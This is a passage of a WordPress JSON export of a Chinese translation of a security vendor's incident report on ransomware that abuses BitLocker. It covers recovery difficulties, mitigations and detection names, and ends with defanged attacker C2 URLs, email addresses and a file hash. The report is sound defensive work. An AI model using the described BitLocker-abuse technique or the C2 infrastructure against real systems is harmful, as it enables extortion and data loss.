id=\"caption-attachment-112664\">\u83b7\u53d6\u7684\u5b89\u5168\u5b57\u7b26\u4e32<\/p>\n\n\n\n<p>\u5728\u5176\u4ed6\u5730\u65b9\uff0c\u6211\u4eec\u8bd5\u56fe\u6536\u96c6\u5b58\u50a8\u5bf9 C2 \u7684 POST \u8bf7\u6c42\u7684\u7f51\u7edc\u65e5\u5fd7\u3002\u4f46\u662f\uff0cWeb \u6d3b\u52a8\u65e5\u5fd7\u8bb0\u5f55\u7684\u6700\u5e38\u89c1\u914d\u7f6e\u5305\u62ec GET\uff0c\u4f46\u4e0d\u5e78\u7684\u662f\u4e0d\u5305\u62ec POST \u8bf7\u6c42\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u6700\u7ec8\u83b7\u5f97\u4e86 POST \u8bf7\u6c42\uff0c\u4f46\u8fd9\u975e\u5e38\u5177\u6709\u6311\u6218\u6027\u3002\u8be5\u6848\u4f8b\u4e3a\u8bb0\u5f55 POST \u6d41\u91cf\u63d0\u4f9b\u4e86\u7406\u7531\uff0c\u5e76\u786e\u4fdd\u5c06\u6240\u6709\u5173\u952e\u7cfb\u7edf\u6d3b\u52a8\u8f6c\u53d1\u5230\u4e2d\u592e\u5b58\u50a8\u5e93\uff0c\u8be5\u5b58\u50a8\u5e93\u5177\u6709\u8db3\u591f\u7684\u7a7a\u95f4\u6765\u5b58\u50a8\u5efa\u8bae\u7684\u4fdd\u7559\u671f\uff08\u516d\u4e2a\u6708\u6216\u66f4\u957f\u65f6\u95f4\uff09\u7684\u6570\u636e\uff0c\u4ee5\u907f\u514d\u5728\u653b\u51fb\u8005\u4ece\u5404\u4e2a\u7cfb\u7edf\u4e2d\u5220\u9664\u6240\u6709\u8ddf\u8e2a\u540e\u4e22\u5931\u8bc1\u636e\u3002<\/p>\n\n\n\n<p>\u6700\u540e\uff0c\u5ba2\u6237\u57fa\u7840\u67b6\u6784\u4e2d\u7684\u67d0\u4e9b\u7cfb\u7edf\u4ecd\u672a\u52a0\u5bc6\uff0c\u8d77\u521d\u88ab\u8ba4\u4e3a\u4e0d\u53d7\u5f71\u54cd\u3002\u4f46\u662f\uff0c\u6211\u4eec\u540e\u6765\u53d1\u73b0\u5b83\u4eec\u5b9e\u9645\u4e0a\u53d7\u5230\u4e86\u5f71\u54cd\uff0c\u4f46\u672a\u5728\u8fd9\u4e9b\u7cfb\u7edf\u4e2d\u914d\u7f6e BitLocker\u3002\u8fd9\u4f7f\u6211\u4eec\u80fd\u591f\u83b7\u5f97\u811a\u672c\u672c\u8eab\uff0c\u5206\u6790\u5176\u884c\u4e3a\u5e76\u6536\u96c6\u8fdb\u4e00\u6b65\u7684\u8bc1\u636e\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"recovery\">\u6062\u590d<\/h2>\n\n\n\n<p>\u867d\u7136\u6211\u4eec\u53ef\u4ee5\u83b7\u53d6\u5a01\u80c1\u53c2\u4e0e\u8005\u5b9e\u65bd\u7684\u4e00\u4e9b\u5bc6\u7801\u77ed\u8bed\u548c\u56fa\u5b9a\u503c\u6765\u521b\u5efa\u52a0\u5bc6\u5bc6\u94a5\uff0c\u4f46\u8be5\u811a\u672c\u5305\u542b\u4e00\u4e9b\u53d8\u91cf\u503c\uff0c\u5e76\u4e14\u6bcf\u4e2a\u53d7\u5f71\u54cd\u7684\u7cfb\u7edf\u90fd\u4e0d\u540c\uff0c\u8fd9\u4f7f\u5f97\u89e3\u5bc6\u8fc7\u7a0b\u53d8\u5f97\u56f0\u96be\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"166\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-52-1024x166.png\" alt=\"\" class=\"wp-image-3984\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-52-1024x166.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-52-300x49.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-52-768x124.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-52.png 1370w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22154825\/Bitlocker_abuse_21.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112665\">\u6536\u96c6\u7528\u4e8e\u79cd\u5b50\u7684\u7f51\u7edc\u4fe1\u606f<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"mitigations\">\u7f13\u89e3\u63aa\u65bd<\/h2>\n\n\n\n<p>\u9f13\u52b1\u516c\u53f8\u4f7f\u7528 BitLocker \u6216\u5176\u4ed6\u52a0\u5bc6\u5de5\u5177\uff08\u5982 VeraCrypt\uff09\u6765\u4fdd\u62a4\u516c\u53f8\u673a\u5bc6\u3002\u4f46\u662f\uff0c\u5fc5\u987b\u91c7\u53d6\u4e00\u4e9b\u9884\u9632\u63aa\u65bd\u6765\u907f\u514d\u653b\u51fb\u8005\u7684\u6ee5\u7528\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4f7f\u7528\u53ef\u9760\u3001\u914d\u7f6e\u6b63\u786e\u7684 EPP \u89e3\u51b3\u65b9\u6848\u6765\u68c0\u6d4b\u8bd5\u56fe\u6ee5\u7528 BitLocker \u7684\u5a01\u80c1;<\/li>\n\n\n\n<li>\u5b9e\u73b0<a href=\"https:\/\/www.kaspersky.com\/enterprise-security\/managed-detection-and-response\" target=\"_blank\" rel=\"noreferrer noopener\">\u6258\u7ba1\u68c0\u6d4b\u548c\u54cd\u5e94 \uff08MDR\uff09<\/a>\u4e3b\u52a8\u626b\u63cf\u5a01\u80c1;<\/li>\n\n\n\n<li>\u5982\u679c\u542f\u7528\u4e86 BitLocker\uff0c\u8bf7\u786e\u4fdd\u4f7f\u7528\u5f3a\u5bc6\u7801\uff0c\u5e76\u5c06\u6062\u590d\u5bc6\u94a5\u5b58\u50a8\u5728\u5b89\u5168\u4f4d\u7f6e;<\/li>\n\n\n\n<li>\u786e\u4fdd\u7528\u6237\u53ea\u6709\u6700\u4f4e\u6743\u9650\u3002\u8fd9\u6837\uff0c\u4ed6\u4eec\u5c31\u65e0\u6cd5\u81ea\u884c\u542f\u7528\u52a0\u5bc6\u529f\u80fd\u6216\u66f4\u6539\u6ce8\u518c\u8868\u9879;<\/li>\n\n\n\n<li>\u542f\u7528\u7f51\u7edc\u6d41\u91cf\u65e5\u5fd7\u8bb0\u5f55\u548c\u76d1\u63a7\u3002\u914d\u7f6e GET \u548c POST \u8bf7\u6c42\u7684\u65e5\u5fd7\u8bb0\u5f55\u3002\u5728\u611f\u67d3\u7684\u60c5\u51b5\u4e0b\uff0c\u5bf9\u653b\u51fb\u8005\u57df\u53d1\u51fa\u7684\u8bf7\u6c42\u53ef\u80fd\u5305\u542b\u5bc6\u7801\u6216\u5bc6\u94a5;<\/li>\n\n\n\n<li>\u76d1\u89c6\u4e0e VBS \u6267\u884c\u548c PowerShell \u5173\u8054\u7684\u4e8b\u4ef6\uff0c\u5e76\u5c06\u8bb0\u5f55\u7684\u811a\u672c\u548c\u547d\u4ee4\u4fdd\u5b58\u5230\u5916\u90e8\u5b58\u50a8\u5e93\uff0c\u5b58\u50a8\u53ef\u80fd\u5728\u672c\u5730\u5220\u9664\u7684\u6d3b\u52a8;<\/li>\n\n\n\n<li>\u7ecf\u5e38\u8fdb\u884c\u5907\u4efd\uff0c\u79bb\u7ebf\u5b58\u50a8\u5e76\u5bf9\u5176\u8fdb\u884c\u6d4b\u8bd5\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u5982\u679c\u60a8\u5728\u8c03\u67e5\u52d2\u7d22\u8f6f\u4ef6\u653b\u51fb\u548c\u6062\u590d\u52a0\u5bc6\u6570\u636e\u65b9\u9762\u9700\u8981\u5e2e\u52a9\uff0c\u8bf7\u901a\u8fc7\u4ee5\u4e0b\u65b9\u5f0f\u4e0e\u6211\u4eec\u8054\u7cfb<a href=\"mailto:gert@kaspersky.com\" target=\"_blank\" rel=\"noreferrer noopener\">gert@kaspersky.com<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"conclusion\">\u7ed3\u8bba<\/h2>\n\n\n\n<p>\u6211\u4eec\u7684\u4e8b\u4ef6\u54cd\u5e94\u548c\u6076\u610f\u8f6f\u4ef6\u5206\u6790\u8bc1\u660e\uff0c\u653b\u51fb\u8005\u6b63\u5728\u4e0d\u65ad\u6539\u8fdb\u5176\u7b56\u7565\u4ee5\u9003\u907f\u68c0\u6d4b\u3002\u5728\u6b64\u4e8b\u4ef6\u4e2d\uff0c\u6211\u4eec\u89c2\u5bdf\u5230\u672c\u673a BitLocker \u529f\u80fd\u88ab\u6ee5\u7528\u4e8e\u672a\u7ecf\u6388\u6743\u7684\u6570\u636e\u52a0\u5bc6\u3002VBS \u811a\u672c\u8868\u660e\uff0c\u53c2\u4e0e\u6b64\u653b\u51fb\u7684\u6076\u610f\u53c2\u4e0e\u8005\u5bf9 Windows \u5185\u90e8\u7ed3\u6784\u6709\u5f88\u597d\u7684\u4e86\u89e3\u3002\u867d\u7136\u811a\u672c\u5206\u6790\u4e00\u70b9\u4e5f\u4e0d\u590d\u6742\uff0c\u4f46\u8fd9\u79cd\u5a01\u80c1\u5f88\u96be\u68c0\u6d4b\uff0c\u56e0\u4e3a\u5de5\u4ef6\u5185\u90e8\u7684\u552f\u4e00\u5b57\u7b26\u4e32\u53ef\u4ee5\u5f88\u5bb9\u6613\u5730\u4fee\u6539\u4ee5\u7ed5\u8fc7 YARA \u89c4\u5219\u3002\u56e0\u6b64\uff0c\u5728\u6b64\u7c7b\u573a\u666f\u4e2d\uff0c\u6700\u4f73\u68c0\u6d4b\u65b9\u6cd5\u662f\u884c\u4e3a\u5206\u6790\uff0c\u5b83\u5c06\u5e94\u7528\u7a0b\u5e8f\u6267\u884c\u7684\u4e0d\u540c\u64cd\u4f5c\u5173\u8054\u8d77\u6765\u4ee5\u5f97\u51fa\u7ed3\u8bba\u3002<\/p>\n\n\n\n<p>Kaspersky \u4ea7\u54c1\u901a\u8fc7\u4ee5\u4e0b\u5224\u5b9a\u68c0\u6d4b\u672c\u6587\u4e2d\u63cf\u8ff0\u7684\u5a01\u80c1\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7279\u6d1b\u4f0a\u6728\u9a6c.VBS.SAgent.gen;<\/li>\n\n\n\n<li>\u7279\u6d1b\u4f0a\u6728\u9a6c-Ransom.VBS.BitLock.gen;<\/li>\n\n\n\n<li>Trojan.Win32.Generic\u3002<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"indicators-of-compromise\">\u59a5\u534f\u6307\u6807<\/h2>\n\n\n\n<p><strong>\u7f51\u5740\uff1a<\/strong><br><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fscottish-agreement-laundry-further.trycloudflare.com%2Fupdatelog\/\" target=\"_blank\" rel=\"noreferrer noopener\">hxxps:\/\/scottish-agreement-laundry-further[\u70b9]trycloudflare[\u70b9]com\/updatelog<\/a><br><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fgenerated-eating-meals-top.trycloudflare.com%2Fupdatelog\/\" target=\"_blank\" rel=\"noreferrer noopener\">hxxps:\/\/generated-eating-meals-top[\u70b9]trycloudflare.com\/updatelog<\/a><br><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fgenerated-eating-meals-top.trycloudflare.com%2Fupdatelogead\/\" target=\"_blank\" rel=\"noreferrer noopener\">hxxps:\/\/generated-eating-meals-top[\u70b9]trycloudflare.com\/updatelogead<\/a><br><a href=\"https:\/\/opentip.kaspersky.com\/https%3A%2F%2Fearthquake-js-westminster-searched.trycloudflare.com%3A443%2Fupdatelog\/\" target=\"_blank\" rel=\"noreferrer noopener\">hxxps:\/\/earthquake-js-westminster-searched[\u70b9]trycloudflare.com:443\/updatelog<\/a><\/p>\n\n\n\n<p><strong>\u7535\u5b50\u90ae\u4ef6\u5730\u5740\uff1a<\/strong><br>onboardingbinder[at]proton[dot]me<br>conspiracyid9[at]protonmail[dot]com<\/p>\n\n\n\n<p><strong>MD5 \u54c8\u5e0c\uff1a<\/strong><br><a href=\"https:\/\/opentip.kaspersky.com\/842f7b1c425c5cf41aed9df63888e768\/\" target=\"_blank\" rel=\"noreferrer noopener\">842f7b1c425c5cf41aed9df63888e768<\/a><\/p>\n\n\n\n<p>\u53c2\u8003\u8fde\u63a5\uff1a<a href=\"https:\/\/securelist.com\/ransomware-abuses-bitlocker\/112643\/\">\u6ee5\u7528 BitLocker \u7684\u65b0\u52d2\u7d22\u8f6f\u4ef6\u7ec4\u7ec7 |\u5b89\u5168\u5217\u8868 (securelist.com)<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4ecb\u7ecd \u653b\u51fb\u8005\u603b\u80fd\u627e\u5230\u521b\u9020\u6027\u7684\u65b9\u6cd5\u6765\u7ed5\u8fc7\u9632\u5fa1\u529f\u80fd\u5e76\u5b9e\u73b0\u4ed6\u4eec\u7684\u76ee\u6807\u3002\u8fd9\u53ef\u4ee5\u901a\u8fc7\u6253\u5305\u5668\u3001\u52a0\u5bc6\u5668\u548c\u4ee3\u7801\u6df7\u6dc6\u6765\u5b8c\u6210\u3002\u4f46\u662f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"set","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center 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